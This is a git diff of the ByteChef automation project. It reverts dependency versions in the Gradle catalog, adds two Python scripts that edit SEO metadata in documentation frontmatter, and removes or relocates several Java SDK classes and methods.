diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml
index 99dad47ba55..677484f1107 100644
--- a/gradle/libs.versions.toml
+++ b/gradle/libs.versions.toml
@@ -1,39 +1,35 @@
 [versions]
-checkstyle = "13.0.0"
+checkstyle = "12.3.1"
 com-google-auto-service = "1.1.1"
-findsecbugs = "1.14.0"
-graalvm = "25.0.2"
+graalvm = "25.0.1"
 jackson = "2.19.2"
 jacoco = "0.8.13"
 java = "25"
-jjwt = "0.13.0"
 org-mapstruct = "1.6.3"
 org-mapstruct-extensions-spring = "2.0.0"
-org-springdoc = "3.0.1"
-pmd = "7.20.0"
+org-springdoc = "3.0.0"
+pmd = "7.19.0"
 spotbugs = "4.9.8"
-spring-ai = "2.0.0-M2"
-spring-boot = "4.0.2"
-spring-cloud-aws = "4.0.0"
-spring-cloud-dependencies = "2025.1.1"
-spring-shell = "4.0.1"
+spring-ai = "2.0.0-M1"
+spring-boot = "4.0.1"
+spring-cloud-aws = "4.0.0-M1"
+spring-cloud-dependencies = "2025.1.0"
+spring-shell = "4.0.0"
 testcontainers = "1.21.3"
 
 [libraries]
-com-github-miachm-sods-sods = "com.github.miachm.sods:SODS:1.8.0"
+com-github-miachm-sods-sods = "com.github.miachm.sods:SODS:1.7.0"
 com-github-mizosoft-methanol = "com.github.mizosoft.methanol:methanol:1.9.0"
 com-github-spotbugs-spotbugs-annotations = { module = "com.github.spotbugs:spotbugs-annotations", version.ref = "spotbugs" }
 com-google-auto-service-auto-service = { module = "com.google.auto.service:auto-service", version.ref = "com-google-auto-service" }
 com-google-auto-service-auto-service-annotations = { module = "com.google.auto.service:auto-service-annotations", version.ref = "com-google-auto-service" }
-com-googlecode-owasp-java-html-sanitizer = "com.googlecode.owasp-java-html-sanitizer:owasp-java-html-sanitizer:20260102.1"
+com-googlecode-owasp-java-html-sanitizer = "com.googlecode.owasp-java-html-sanitizer:owasp-java-html-sanitizer:20240325.1"
 com-squareup-javapoet = "com.squareup:javapoet:1.13.0"
 commons-validator = "commons-validator:commons-validator:1.10.1"
-io-swagger-core-v3-swagger-annotations = "io.swagger.core.v3:swagger-annotations:2.2.42"
+io-swagger-core-v3-swagger-annotations = "io.swagger.core.v3:swagger-annotations:2.2.41"
 io-swagger-parser-v3-swagger-parser = "io.swagger.parser.v3:swagger-parser:2.1.37"
-jjwt-api = { module = "io.jsonwebtoken:jjwt-api", version.ref = "jjwt" }
-jjwt-impl = { module = "io.jsonwebtoken:jjwt-impl", version.ref = "jjwt" }
-jjwt-jackson = { module = "io.jsonwebtoken:jjwt-jackson", version.ref = "jjwt" }
-org-apache-activemq-artemis-jakarta-server = "org.apache.activemq:artemis-jakarta-server:2.50.0"
+loki-logback-appender = "com.github.loki4j:loki-logback-appender:2.0.2"
+org-apache-activemq-artemis-jakarta-server = "org.apache.activemq:artemis-jakarta-server:2.44.0"
 org-apache-poi-poi-ooxml = "org.apache.poi:poi-ooxml:5.5.1"
 org-eclipse-jgit-org-eclipse-jgit = "org.eclipse.jgit:org.eclipse.jgit:7.5.0.202512021534-r"
 org-graalvm-polyglot-java = { module = "org.graalvm.polyglot:java", version.ref = "graalvm" }
@@ -57,8 +53,8 @@ com-github-ben-manes-versions = "com.github.ben-manes.versions:0.53.0"
 gradle-git-properties = "com.gorylenko.gradle-git-properties:2.5.4"
 jib = "com.google.cloud.tools.jib:3.5.2"
 nl-littlerobots-version-catalog-update = "nl.littlerobots.version-catalog-update:1.0.1"
-org-graalvm-buildtools-native = "org.graalvm.buildtools.native:0.11.4"
-org-openapi-generator = "org.openapi.generator:7.19.0"
+org-graalvm-buildtools-native = "org.graalvm.buildtools.native:0.11.3"
+org-openapi-generator = "org.openapi.generator:7.18.0"
 org-sonarqube = "org.sonarqube:7.2.2.6593"
 spotbugs = "com.github.spotbugs:6.4.8"
-spotless = "com.diffplug.gradle.spotless:8.2.1"
+spotless = "com.diffplug.gradle.spotless:8.1.0"
diff --git a/gradle/wrapper/gradle-wrapper.jar b/gradle/wrapper/gradle-wrapper.jar
index 61285a659d1..f8e1ee3125f 100644
Binary files a/gradle/wrapper/gradle-wrapper.jar and b/gradle/wrapper/gradle-wrapper.jar differ
diff --git a/gradle/wrapper/gradle-wrapper.properties b/gradle/wrapper/gradle-wrapper.properties
index 37f78a6af83..23449a2b543 100644
--- a/gradle/wrapper/gradle-wrapper.properties
+++ b/gradle/wrapper/gradle-wrapper.properties
@@ -1,6 +1,6 @@
 distributionBase=GRADLE_USER_HOME
 distributionPath=wrapper/dists
-distributionUrl=https\://services.gradle.org/distributions/gradle-9.3.1-bin.zip
+distributionUrl=https\://services.gradle.org/distributions/gradle-9.2.1-bin.zip
 networkTimeout=10000
 validateDistributionUrl=true
 zipStoreBase=GRADLE_USER_HOME
diff --git a/optimize_seo.py b/optimize_seo.py
new file mode 100644
index 00000000000..be9790f46f4
--- /dev/null
+++ b/optimize_seo.py
@@ -0,0 +1,182 @@
+#!/usr/bin/env python3
+"""
+ByteChef Docs - SEO Optimizer
+Scans and optimizes all documentation pages for better SEO.
+"""
+
+import re
+import os
+from pathlib import Path
+from typing import Dict, List, Set, Optional
+import frontmatter
+import hashlib
+from collections import defaultdict
+
+class SEOOptimizer:
+    def __init__(self, base_dir: str):
+        self.base_dir = Path(base_dir)
+        self.files_processed = 0
+        self.files_updated = 0
+        self.duplicate_titles = defaultdict(list)
+        self.descriptions = {}
+        self.title_to_path = {}
+
+    def generate_seo_title(self, file_path: Path) -> str:
+        """Generate an SEO-optimized title from file path."""
+        rel_path = str(file_path.relative_to(self.base_dir))
+        title = rel_path.replace('.mdx', '').replace('.md', '')
+        title = ' '.join(word.capitalize() 
+                       for part in title.split('/') 
+                       for word in part.split('-'))
+        
+        # Special handling for versioned components
+        if ' V1' in title:
+            title = title.replace(' V1', '')
+        
+        return title
+
+    def generate_seo_description(self, title: str, content: str) -> str:
+        """Generate an SEO-optimized description."""
+        # Extract first meaningful paragraph
+        first_paragraph = ''
+        for line in content.split('\n'):
+            line = line.strip()
+            if line and not line.startswith(('#', 'import', 'export', '---', '```')):
+                first_paragraph = line
+                break
+        
+        # Build description
+        if first_paragraph and len(first_paragraph) > 30:
+            description = first_paragraph
+        else:
+            description = f"Learn how to use {title} in ByteChef."
+        
+        # Ensure length is between 120-160 characters
+        if len(description) < 120:
+            description += f" Comprehensive guide with examples and best practices for {title}."
+            description = description[:157] + '...' if len(description) > 160 else description
+        elif len(description) > 160:
+            description = description[:157] + '...'
+        
+        # Ensure uniqueness
+        desc_hash = hashlib.md5(description.encode()).hexdigest()
+        if desc_hash in self.descriptions:
+            parent_dir = title.split()[-1] if ' ' in title else ''
+            description = f"{description} {parent_dir} in ByteChef platform.".strip()
+            description = description[:157] + '...' if len(description) > 160 else description
+        
+        self.descriptions[hashlib.md5(description.encode()).hexdigest()] = description
+        return description
+
+    def process_file(self, file_path: Path) -> bool:
+        """Process a single file for SEO optimization."""
+        try:
+            with open(file_path, 'r', encoding='utf-8') as f:
+                content = f.read()
+            
+            if not content.startswith('---'):
+                print(f"⚠️  No frontmatter in {file_path.relative_to(self.base_dir)}")
+                return False
+
+            post = frontmatter.loads(content)
+            updated = False
+
+            # Handle title
+            current_title = post.metadata.get('title', '')
+            new_title = self.generate_seo_title(file_path)
+            
+            if not current_title or current_title in self.duplicate_titles:
+                if current_title:
+                    self.duplicate_titles[current_title].append(str(file_path))
+                post.metadata['title'] = new_title
+                updated = True
+            else:
+                self.duplicate_titles[current_title] = [str(file_path)]
+                new_title = current_title
+
+            # Handle description
+            current_desc = post.metadata.get('description', '')
+            new_desc = self.generate_seo_description(new_title, content)
+            
+            if not current_desc or current_desc == new_desc or len(current_desc) < 100:
+                post.metadata['description'] = new_desc
+                updated = True
+
+            # Add/update canonical URL
+            rel_path = str(file_path.relative_to(self.base_dir))
+            canonical = f"https://bytechef.io/docs/{rel_path.replace('.mdx', '').replace('.md', '')}"
+            if 'canonical' not in post.metadata:
+                post.metadata['canonical'] = canonical
+                updated = True
+
+            # Save if updated
+            if updated:
+                new_content = frontmatter.dumps(post)
+                with open(file_path, 'w', encoding='utf-8') as f:
+                    f.write(new_content)
+                self.files_updated += 1
+                return True
+
+            return False
+
+        except Exception as e:
+            print(f"❌ Error processing {file_path.relative_to(self.base_dir)}: {str(e)}")
+            return False
+
+    def process_directory(self, directory: Optional[Path] = None):
+        """Process all markdown files in directory."""
+        if directory is None:
+            directory = self.base_dir
+
+        for item in directory.iterdir():
+            if item.is_dir():
+                self.process_directory(item)
+            elif item.suffix in ['.md', '.mdx']:
+                self.files_processed += 1
+                self.process_file(item)
+
+    def generate_report(self) -> str:
+        """Generate a report of changes made."""
+        report = [
+            "📊 SEO Optimization Report",
+            "=" * 80,
+            f"Files processed: {self.files_processed}",
+            f"Files updated: {self.files_updated}",
+            f"Duplicate titles found: {len([t for t, v in self.duplicate_titles.items() if len(v) > 1])}",
+            "\n🔍 Duplicate Titles:",
+            "-" * 40
+        ]
+
+        for title, files in self.duplicate_titles.items():
+            if len(files) > 1:
+                report.append(f"\n'{title}' found in:")
+                for f in files:
+                    report.append(f"  - {f}")
+
+        report.extend([
+            "\n" + "=" * 80,
+            "✅ Optimization complete!",
+            "\nNext steps:",
+            "1. Review changes: git diff",
+            "2. Commit changes: git add . && git commit -m 'docs: optimize SEO metadata'",
+            "3. Push changes: git push"
+        ])
+
+        return "\n".join(report)
+
+def main():
+    base_dir = Path("/Users/laptopwala1/bytechef-docs/docs/content/docs")
+    optimizer = SEOOptimizer(base_dir)
+    
+    print("🚀 Starting SEO optimization...")
+    optimizer.process_directory()
+    
+    print("\n" + optimizer.generate_report())
+    
+    with open("seo_optimization_report.txt", "w", encoding="utf-8") as f:
+        f.write(optimizer.generate_report())
+    
+    print("\n📝 Full report saved to: seo_optimization_report.txt")
+
+if __name__ == "__main__":
+    main()
diff --git a/remove_canonicals.py b/remove_canonicals.py
new file mode 100644
index 00000000000..f8831acdb18
--- /dev/null
+++ b/remove_canonicals.py
@@ -0,0 +1,54 @@
+#!/usr/bin/env python3
+"""
+Remove canonical URLs from all documentation files.
+"""
+
+import os
+import frontmatter
+from pathlib import Path
+
+def remove_canonical(file_path: Path):
+    """Remove canonical URL from a single file."""
+    try:
+        with open(file_path, 'r', encoding='utf-8') as f:
+            content = f.read()
+        
+        if 'canonical:' not in content:
+            return False
+            
+        post = frontmatter.loads(content)
+        if 'canonical' in post.metadata:
+            del post.metadata['canonical']
+            
+            with open(file_path, 'w', encoding='utf-8') as f:
+                f.write(frontmatter.dumps(post))
+            return True
+            
+    except Exception as e:
+        print(f"❌ Error processing {file_path}: {str(e)}")
+        return False
+
+def process_directory(directory: Path):
+    """Process all markdown files in directory."""
+    files_processed = 0
+    files_updated = 0
+    
+    for root, _, files in os.walk(directory):
+        for file in files:
+            if file.endswith(('.md', '.mdx')):
+                file_path = Path(root) / file
+                files_processed += 1
+                
+                if remove_canonical(file_path):
+                    files_updated += 1
+                    print(f"✅ Removed canonical from: {file_path.relative_to(directory)}")
+    
+    print("\n📊 Canonical URL Removal Complete")
+    print("=" * 40)
+    print(f"Files processed: {files_processed}")
+    print(f"Files updated: {files_updated}")
+
+if __name__ == "__main__":
+    base_dir = Path("/Users/laptopwala1/bytechef-docs/docs/content/docs")
+    print("🚀 Starting to remove canonical URLs...\n")
+    process_directory(base_dir)
diff --git a/sdks/backend/automation/project-api/build.gradle.kts b/sdks/backend/automation/project-api/build.gradle.kts
deleted file mode 100644
index 945148d3a8f..00000000000
--- a/sdks/backend/automation/project-api/build.gradle.kts
+++ /dev/null
@@ -1,9 +0,0 @@
-plugins {
-    `java-library`
-}
-
-version = "1.0"
-
-dependencies {
-    api(project(":sdks:backend:java:workflow-api"))
-}
diff --git a/sdks/backend/automation/project-api/src/main/java/com/bytechef/automation/project/definition/ProjectDsl.java b/sdks/backend/automation/project-api/src/main/java/com/bytechef/automation/project/definition/ProjectDsl.java
deleted file mode 100644
index 219dabb08af..00000000000
--- a/sdks/backend/automation/project-api/src/main/java/com/bytechef/automation/project/definition/ProjectDsl.java
+++ /dev/null
@@ -1,106 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.project.definition;
-
-import com.bytechef.workflow.definition.WorkflowDefinition;
-import java.util.List;
-import java.util.Optional;
-
-/**
- * @author Ivica Cardic
- */
-public class ProjectDsl {
-
-    public static ModifiableProjectDefinition project(String name) {
-        return new ModifiableProjectDefinition(name);
-    }
-
-    public static class ModifiableProjectDefinition implements ProjectDefinition {
-
-        private String category;
-        private String description;
-        private final String name;
-        private List<String> tags;
-        private String version;
-        private List<WorkflowDefinition> workflows;
-
-        public ModifiableProjectDefinition(String name) {
-            this.name = name;
-            this.version = "0.0.1";
-        }
-
-        public ModifiableProjectDefinition category(String category) {
-            this.category = category;
-
-            return this;
-        }
-
-        public ModifiableProjectDefinition description(String description) {
-            this.description = description;
-
-            return this;
-        }
-
-        public ModifiableProjectDefinition tags(String... tags) {
-            this.tags = List.of(tags);
-
-            return this;
-        }
-
-        public ModifiableProjectDefinition version(String version) {
-            this.version = version;
-
-            return this;
-        }
-
-        public ModifiableProjectDefinition workflows(WorkflowDefinition... workflows) {
-            this.workflows = List.of(workflows);
-
-            return this;
-        }
-
-        @Override
-        public Optional<String> getCategory() {
-            return Optional.ofNullable(category);
-        }
-
-        @Override
-        public Optional<String> getDescription() {
-            return Optional.ofNullable(description);
-        }
-
-        @Override
-        public String getName() {
-            return name;
-        }
-
-        @Override
-        public List<WorkflowDefinition> getWorkflows() {
-            return workflows;
-        }
-
-        @Override
-        public Optional<List<String>> getTags() {
-            return Optional.ofNullable(tags);
-        }
-
-        @Override
-        public String getVersion() {
-            return version;
-        }
-    }
-}
diff --git a/sdks/backend/embedded/ai-toolkit-spring/build.gradle.kts b/sdks/backend/embedded/ai-toolkit-spring/build.gradle.kts
deleted file mode 100644
index 7090ba2272f..00000000000
--- a/sdks/backend/embedded/ai-toolkit-spring/build.gradle.kts
+++ /dev/null
@@ -1,11 +0,0 @@
-plugins {
-    `java-library`
-}
-
-version="1.0.0"
-
-dependencies {
-    api("org.springframework.ai:spring-ai-client-chat:${rootProject.libs.versions.spring.ai.get()}")
-
-    implementation(project(":sdks:backend:embedded:ai-toolkit"))
-}
diff --git a/sdks/backend/embedded/integration-api/build.gradle.kts b/sdks/backend/embedded/integration-api/build.gradle.kts
deleted file mode 100644
index 945148d3a8f..00000000000
--- a/sdks/backend/embedded/integration-api/build.gradle.kts
+++ /dev/null
@@ -1,9 +0,0 @@
-plugins {
-    `java-library`
-}
-
-version = "1.0"
-
-dependencies {
-    api(project(":sdks:backend:java:workflow-api"))
-}
diff --git a/sdks/backend/embedded/integration-api/src/main/java/com/bytechef/embedded/integration/definition/IntegrationDsl.java b/sdks/backend/embedded/integration-api/src/main/java/com/bytechef/embedded/integration/definition/IntegrationDsl.java
deleted file mode 100644
index 6975b85bb28..00000000000
--- a/sdks/backend/embedded/integration-api/src/main/java/com/bytechef/embedded/integration/definition/IntegrationDsl.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.embedded.integration.definition;
-
-import com.bytechef.workflow.definition.WorkflowDefinition;
-import java.util.List;
-import java.util.Optional;
-
-/**
- * @author Ivica Cardic
- */
-public class IntegrationDsl {
-
-    public static ModifiableIntegrationDefinition integration(String componentName, int componentVersion) {
-        return new ModifiableIntegrationDefinition(componentName, componentVersion);
-    }
-
-    public static class ModifiableIntegrationDefinition implements IntegrationDefinition {
-
-        private String category;
-        private final String componentName;
-        private final int componentVersion;
-        private String description;
-        private boolean multipleInstances;
-        private List<String> tags;
-        private String version;
-        private List<WorkflowDefinition> workflows;
-
-        public ModifiableIntegrationDefinition(String componentName, int componentVersion) {
-            this.componentName = componentName;
-            this.componentVersion = componentVersion;
-            this.version = "0.0.1";
-        }
-
-        public ModifiableIntegrationDefinition category(String category) {
-            this.category = category;
-
-            return this;
-        }
-
-        public ModifiableIntegrationDefinition description(String description) {
-            this.description = description;
-
-            return this;
-        }
-
-        public ModifiableIntegrationDefinition multipleInstances(boolean multipleInstances) {
-            this.multipleInstances = multipleInstances;
-
-            return this;
-        }
-
-        public ModifiableIntegrationDefinition tags(String... tags) {
-            this.tags = List.of(tags);
-
-            return this;
-        }
-
-        public ModifiableIntegrationDefinition version(String version) {
-            this.version = version;
-
-            return this;
-        }
-
-        public ModifiableIntegrationDefinition workflows(WorkflowDefinition... workflows) {
-            this.workflows = List.of(workflows);
-
-            return this;
-        }
-
-        @Override
-        public Optional<String> getCategory() {
-            return Optional.ofNullable(category);
-        }
-
-        @Override
-        public String getComponentName() {
-            return componentName;
-        }
-
-        @Override
-        public int getComponentVersion() {
-            return componentVersion;
-        }
-
-        @Override
-        public Optional<String> getDescription() {
-            return Optional.ofNullable(description);
-        }
-
-        @Override
-        public boolean isMultipleInstances() {
-            return multipleInstances;
-        }
-
-        @Override
-        public Optional<List<String>> getTags() {
-            return Optional.ofNullable(tags);
-        }
-
-        @Override
-        public String getVersion() {
-            return version;
-        }
-
-        @Override
-        public Optional<List<WorkflowDefinition>> getWorkflows() {
-            return Optional.ofNullable(workflows);
-        }
-    }
-}
diff --git a/sdks/backend/java/ai-toolkit-spring/build.gradle.kts b/sdks/backend/java/ai-toolkit-spring/build.gradle.kts
new file mode 100644
index 00000000000..d11d444e3a8
--- /dev/null
+++ b/sdks/backend/java/ai-toolkit-spring/build.gradle.kts
@@ -0,0 +1,7 @@
+version="1.0.0"
+
+dependencies {
+    api("org.springframework.ai:spring-ai-client-chat:${rootProject.libs.versions.spring.ai.get()}")
+
+    implementation(project(":sdks:backend:java:ai-toolkit"))
+}
diff --git a/sdks/backend/embedded/ai-toolkit-spring/src/main/java/com/bytechef/ai/toolkit/tool/ToolCallbackProviderFactory.java b/sdks/backend/java/ai-toolkit-spring/src/main/java/com/bytechef/ai/toolkit/tool/ToolCallbackProviderFactory.java
similarity index 100%
rename from sdks/backend/embedded/ai-toolkit-spring/src/main/java/com/bytechef/ai/toolkit/tool/ToolCallbackProviderFactory.java
rename to sdks/backend/java/ai-toolkit-spring/src/main/java/com/bytechef/ai/toolkit/tool/ToolCallbackProviderFactory.java
diff --git a/sdks/backend/embedded/ai-toolkit-spring/src/main/java/com/bytechef/ai/toolkit/tool/ToolCallbackProviderImpl.java b/sdks/backend/java/ai-toolkit-spring/src/main/java/com/bytechef/ai/toolkit/tool/ToolCallbackProviderImpl.java
similarity index 100%
rename from sdks/backend/embedded/ai-toolkit-spring/src/main/java/com/bytechef/ai/toolkit/tool/ToolCallbackProviderImpl.java
rename to sdks/backend/java/ai-toolkit-spring/src/main/java/com/bytechef/ai/toolkit/tool/ToolCallbackProviderImpl.java
diff --git a/sdks/backend/embedded/ai-toolkit/build.gradle.kts b/sdks/backend/java/ai-toolkit/build.gradle.kts
similarity index 100%
rename from sdks/backend/embedded/ai-toolkit/build.gradle.kts
rename to sdks/backend/java/ai-toolkit/build.gradle.kts
diff --git a/sdks/backend/embedded/ai-toolkit/src/main/java/com/bytechef/ai/toolkit/Environment.java b/sdks/backend/java/ai-toolkit/src/main/java/com/bytechef/ai/toolkit/Environment.java
similarity index 100%
rename from sdks/backend/embedded/ai-toolkit/src/main/java/com/bytechef/ai/toolkit/Environment.java
rename to sdks/backend/java/ai-toolkit/src/main/java/com/bytechef/ai/toolkit/Environment.java
diff --git a/sdks/backend/embedded/ai-toolkit/src/main/java/com/bytechef/ai/toolkit/ToolClient.java b/sdks/backend/java/ai-toolkit/src/main/java/com/bytechef/ai/toolkit/ToolClient.java
similarity index 100%
rename from sdks/backend/embedded/ai-toolkit/src/main/java/com/bytechef/ai/toolkit/ToolClient.java
rename to sdks/backend/java/ai-toolkit/src/main/java/com/bytechef/ai/toolkit/ToolClient.java
diff --git a/sdks/backend/embedded/ai-toolkit/src/main/java/com/bytechef/ai/toolkit/model/FunctionModel.java b/sdks/backend/java/ai-toolkit/src/main/java/com/bytechef/ai/toolkit/model/FunctionModel.java
similarity index 100%
rename from sdks/backend/embedded/ai-toolkit/src/main/java/com/bytechef/ai/toolkit/model/FunctionModel.java
rename to sdks/backend/java/ai-toolkit/src/main/java/com/bytechef/ai/toolkit/model/FunctionModel.java
diff --git a/sdks/backend/embedded/ai-toolkit/src/main/java/com/bytechef/ai/toolkit/model/ToolModel.java b/sdks/backend/java/ai-toolkit/src/main/java/com/bytechef/ai/toolkit/model/ToolModel.java
similarity index 100%
rename from sdks/backend/embedded/ai-toolkit/src/main/java/com/bytechef/ai/toolkit/model/ToolModel.java
rename to sdks/backend/java/ai-toolkit/src/main/java/com/bytechef/ai/toolkit/model/ToolModel.java
diff --git a/sdks/backend/java/build.gradle.kts b/sdks/backend/java/build.gradle.kts
index 2d2898368ca..df6c5dfc2d4 100644
--- a/sdks/backend/java/build.gradle.kts
+++ b/sdks/backend/java/build.gradle.kts
@@ -1,31 +1,3 @@
 subprojects {
     apply(plugin = "com.bytechef.java-library-conventions")
 }
-
-tasks.register("copyApiJars") {
-    val componentApiJar = project(":sdks:backend:java:component-api").tasks.named<Jar>("jar")
-    val definitionApiJar = project(":sdks:backend:java:definition-api").tasks.named<Jar>("jar")
-
-    dependsOn(componentApiJar, definitionApiJar)
-
-    inputs.files(componentApiJar, definitionApiJar)
-
-    val cliLibsDir = rootProject.layout.projectDirectory.dir("cli/cli-app/libs")
-    val serverLibsDir = rootProject.layout.projectDirectory.dir(
-        "server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/" +
-            "platform-api-connector-configuration-service/src/main/resources/libs"
-    )
-
-    outputs.dir(cliLibsDir)
-    outputs.dir(serverLibsDir)
-
-    doLast {
-        listOf(cliLibsDir, serverLibsDir).forEach { destinationDir ->
-            project.copy {
-                from(componentApiJar)
-                from(definitionApiJar)
-                into(destinationDir)
-            }
-        }
-    }
-}
diff --git a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/ClusterElementContext.java b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/ClusterElementContext.java
index c738798afb8..315cc81f46a 100644
--- a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/ClusterElementContext.java
+++ b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/ClusterElementContext.java
@@ -16,70 +16,8 @@
 
 package com.bytechef.component.definition;
 
-import java.util.Map;
-import org.jspecify.annotations.Nullable;
-
 /**
  * @author Ivica Cardic
  */
 public interface ClusterElementContext extends Context {
-
-    /**
-     * Provides access to nested map utilities for working with dot notation paths.
-     *
-     * @param nestedFunction the function to apply to the Nested utilities
-     * @param <R>            the return type
-     * @return the result of applying the function
-     */
-    <R> R nested(ContextFunction<Nested, R> nestedFunction);
-
-    /**
-     * Provides utilities for working with nested map structures using dot notation paths.
-     */
-    interface Nested {
-
-        /**
-         * Checks if a nested path exists in the map.
-         *
-         * @param map  the source map
-         * @param path the dot-separated path (e.g., "item.name")
-         * @return true if the path exists (even if value is null), false otherwise
-         */
-        boolean containsPath(Map<String, Object> map, String path);
-
-        /**
-         * Flattens a nested map into a flat map with dot-notation keys.
-         *
-         * @param map the nested map to flatten
-         * @return a flat map with dot-notation keys
-         */
-        Map<String, Object> flatten(Map<String, Object> map);
-
-        /**
-         * Gets a value from a nested map using the dot notation path.
-         *
-         * @param map  the source map
-         * @param path the dot-separated path (e.g., "item.name")
-         * @return the value at the path, or null if not found
-         */
-        Object getValue(Map<String, Object> map, String path);
-
-        /**
-         * Sets a value in a nested map using the dot notation path. Creates intermediate maps as needed.
-         *
-         * @param map   the target map
-         * @param path  the dot-separated path (e.g., "item.name")
-         * @param value the value to set
-         * @return the modified map for fluent chaining
-         */
-        Map<String, Object> setValue(Map<String, Object> map, String path, @Nullable Object value);
-
-        /**
-         * Unflattens a map with dot-notation keys into a nested map structure.
-         *
-         * @param map the flat map with dot-notation keys
-         * @return a nested map structure
-         */
-        Map<String, Object> unflatten(Map<String, Object> map);
-    }
 }
diff --git a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/ClusterElementDefinition.java b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/ClusterElementDefinition.java
index fb4f0d59ff7..8e124a70b5f 100644
--- a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/ClusterElementDefinition.java
+++ b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/ClusterElementDefinition.java
@@ -58,7 +58,7 @@ public interface ClusterElementDefinition<T> {
      */
     String getName();
 
-    Optional<ProcessErrorResponseFunction> getProcessErrorResponse();
+    Optional<ClusterElementDefinition.ProcessErrorResponseFunction> getProcessErrorResponse();
 
     /**
      *
diff --git a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/ComponentDsl.java b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/ComponentDsl.java
index 6a493ffc437..9276f258c2e 100644
--- a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/ComponentDsl.java
+++ b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/ComponentDsl.java
@@ -822,7 +822,7 @@ void setOptions(List<ModifiableOption<Object>> options) {
         }
 
         @Override
-        public Optional<OptionsDataSource<?>> getOptionsDataSource() {
+        public Optional<OptionsDataSource> getOptionsDataSource() {
             return Optional.ofNullable(
                 optionsFunction == null
                     ? null
@@ -1349,12 +1349,6 @@ public ModifiableComponentDefinition customActionHelp(Help customActionHelp) {
             return this;
         }
 
-        public ModifiableComponentDefinition customActionHelp(String body, String learnMoreUrl) {
-            this.customActionHelp = new HelpImpl(body, learnMoreUrl);
-
-            return this;
-        }
-
         public ModifiableComponentDefinition description(String description) {
             this.description = description;
 
@@ -1568,12 +1562,10 @@ public static final class ModifiableConnectionDefinition implements ConnectionDe
 
         private List<? extends ModifiableAuthorization> authorizations;
         private BaseUriFunction baseUriFunction;
-        private Help help;
         private List<? extends Property> properties;
         private TestConsumer testConsumer;
         private int version = 1;
         private Boolean authorizationRequired;
-        private ProcessErrorResponseFunction processErrorResponseFunction;
 
         private ModifiableConnectionDefinition() {
         }
@@ -1611,30 +1603,12 @@ public ModifiableConnectionDefinition baseUri(BaseUriFunction baseUri) {
             return this;
         }
 
-        public ModifiableConnectionDefinition help(String body) {
-            this.help = new HelpImpl(body, null);
-
-            return this;
-        }
-
-        public ModifiableConnectionDefinition help(String body, String learnMoreUrl) {
-            this.help = new HelpImpl(body, learnMoreUrl);
-
-            return this;
-        }
-
         public ModifiableConnectionDefinition version(int version) {
             this.version = version;
 
             return this;
         }
 
-        public ModifiableConnectionDefinition processErrorResponse(ProcessErrorResponseFunction processErrorResponse) {
-            this.processErrorResponseFunction = processErrorResponse;
-
-            return this;
-        }
-
         @SafeVarargs
         public final <P extends Property> ModifiableConnectionDefinition properties(P... properties) {
             if (properties != null) {
@@ -1669,7 +1643,7 @@ public boolean equals(Object o) {
         @Override
         public int hashCode() {
             return Objects.hash(
-                authorizationRequired, authorizations, baseUriFunction, help, properties, testConsumer, version);
+                authorizationRequired, authorizations, baseUriFunction, properties, testConsumer, version);
         }
 
         @Override
@@ -1687,16 +1661,6 @@ public Optional<BaseUriFunction> getBaseUri() {
             return Optional.ofNullable(baseUriFunction);
         }
 
-        @Override
-        public Optional<Help> getHelp() {
-            return Optional.ofNullable(help);
-        }
-
-        @Override
-        public Optional<ProcessErrorResponseFunction> getProcessErrorResponse() {
-            return Optional.ofNullable(processErrorResponseFunction);
-        }
-
         @Override
         public Optional<List<? extends Property>> getProperties() {
             return Optional.ofNullable(properties);
@@ -1718,7 +1682,6 @@ public String toString() {
                 "version=" + version +
                 ", authorizationRequired=" + authorizationRequired +
                 ", authorizations=" + authorizations +
-                ", help=" + help +
                 ", properties=" + properties +
                 '}';
         }
@@ -1899,7 +1862,7 @@ public Optional<String> getDescription() {
 
         @Override
         public T getElement() {
-            return objectSupplier != null ? objectSupplier.get() : null;
+            return objectSupplier.get();
         }
 
         @Override
@@ -2057,7 +2020,7 @@ void setOptions(List<ModifiableOption<LocalDate>> options) {
         }
 
         @Override
-        public Optional<OptionsDataSource<?>> getOptionsDataSource() {
+        public Optional<OptionsDataSource> getOptionsDataSource() {
             return Optional.ofNullable(
                 optionsFunction == null
                     ? null
@@ -2167,7 +2130,7 @@ void setOptions(List<ModifiableOption<LocalDateTime>> options) {
         }
 
         @Override
-        public Optional<OptionsDataSource<?>> getOptionsDataSource() {
+        public Optional<OptionsDataSource> getOptionsDataSource() {
             return Optional.ofNullable(
                 optionsFunction == null
                     ? null
@@ -2222,14 +2185,6 @@ public ModifiableDynamicPropertiesProperty properties(PropertiesFunction propert
             return this;
         }
 
-        public ModifiableDynamicPropertiesProperty properties(
-            ClusterElementDefinition.PropertiesFunction propertiesFunction) {
-
-            this.propertiesFunction = propertiesFunction;
-
-            return this;
-        }
-
         @Override
         public Optional<String> getHeader() {
             return Optional.ofNullable(header);
